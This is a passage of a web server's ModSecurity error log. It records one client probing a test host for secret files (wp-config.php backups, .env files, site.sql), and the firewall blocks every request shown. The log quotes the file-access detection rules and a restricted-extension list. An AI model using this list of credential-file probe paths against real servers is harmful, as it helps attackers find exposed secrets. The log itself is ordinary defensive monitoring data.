&quot;/web/site.sql&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViuwAAAAc&quot;]
[Sun Mar 22 01:06:31.497591 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.sql&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViuwAAAAc&quot;]
[Sun Mar 22 01:06:31.497737 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.sql&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViuwAAAAc&quot;]
[Sun Mar 22 01:06:31.519840 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /web/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivAAAAAc&quot;]
[Sun Mar 22 01:06:31.520044 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivAAAAAc&quot;]
[Sun Mar 22 01:06:31.520172 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivAAAAAc&quot;]
[Sun Mar 22 01:06:31.542130 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php.old&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivQAAAAc&quot;]
[Sun Mar 22 01:06:31.542409 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /web/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php.old&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivQAAAAc&quot;]
[Sun Mar 22 01:06:31.542644 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php.old&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivQAAAAc&quot;]
[Sun Mar 22 01:06:31.542786 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php.old&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivQAAAAc&quot;]
[Sun Mar 22 01:06:31.564892 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivgAAAAc&quot;]
[Sun Mar 22 01:06:31.565085 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivgAAAAc&quot;]
[Sun Mar 22 01:06:31.565240 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivgAAAAc&quot;]
[Sun Mar 22 01:06:31.587377 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivwAAAAc&quot;]
[Sun Mar 22 01:06:31.587578 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivwAAAAc&quot;]
[Sun Mar 22 01:06:31.587713 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVivwAAAAc&quot;]
[Sun Mar 22 01:06:31.632313 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwQAAAAc&quot;]
[Sun Mar 22 01:06:31.632548 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwQAAAAc&quot;]
[Sun Mar 22 01:06:31.632813 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwQAAAAc&quot;]
[Sun Mar 22 01:06:31.632957 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwQAAAAc&quot;]
[Sun Mar 22 01:06:31.654946 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwgAAAAc&quot;]
[Sun Mar 22 01:06:31.655177 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwgAAAAc&quot;]
[Sun Mar 22 01:06:31.655363 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwgAAAAc&quot;]
[Sun Mar 22 01:06:31.655500 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwgAAAAc&quot;]
[Sun Mar 22 01:06:31.677495 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.swp&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwwAAAAc&quot;]
[Sun Mar 22 01:06:31.677774 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.swp&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwwAAAAc&quot;]
[Sun Mar 22 01:06:31.677965 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.swp&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwwAAAAc&quot;]
[Sun Mar 22 01:06:31.678169 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.swp&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xViwwAAAAc&quot;]
[Sun Mar 22 01:06:31.722797 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVixQAAAAc&quot;]
[Sun Mar 22 01:06:31.722996 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVixQAAAAc&quot;]
[Sun Mar 22 01:06:31.723134 2026] [:error] [pid 2857387] [client 185.177.72.38:31374] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;ab8yh79QSbN48bnz2xVixQAAAAc&quot;]
